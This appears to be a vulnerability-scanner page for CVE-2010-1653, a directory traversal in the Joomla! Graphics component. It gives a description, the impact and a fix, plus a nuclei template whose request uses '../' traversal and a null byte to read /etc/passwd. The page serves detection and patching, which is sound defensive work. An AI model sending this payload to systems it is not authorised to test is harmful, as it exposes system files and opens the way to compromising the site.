Joomla! Component Graphics 1.0.6 - Local File Inclusion

highseverity

7.5CVSS score

13.4%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in graphics.php in the Graphics (com_graphics) component 1.0.6 and 1.5.0 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.

Impact

The LFI vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the entire Joomla! installation.

Fix

Update Joomla! Component Graphics to the latest version or apply the patch provided by the vendor to mitigate the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_graphics&controller=../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1653 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1653

info:
  name: Joomla! Component Graphics 1.0.6 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in graphics.php in the Graphics (com_graphics) component 1.0.6 and 1.5.0 for Joomla! allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the entire Joomla! installation.
  remediation: |
    Update Joomla! Component Graphics to the latest version or apply the patch provided by the vendor to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12430
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1653
    - http://packetstormsecurity.org/1004-exploits/joomlagraphics-lfi.txt
    - http://www.vupen.com/english/advisories/2010/1004
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2010-1653
    cwe-id: CWE-22
    epss-score: 0.13373
    epss-percentile: 0.96449
    cpe: cpe:2.3:a:htmlcoderhelper:com_graphics:1.0.6:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: htmlcoderhelper
    product: com_graphics
  tags: cve,cve2010,edb,packetstorm,joomla,lfi,htmlcoderhelper,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_graphics&controller=../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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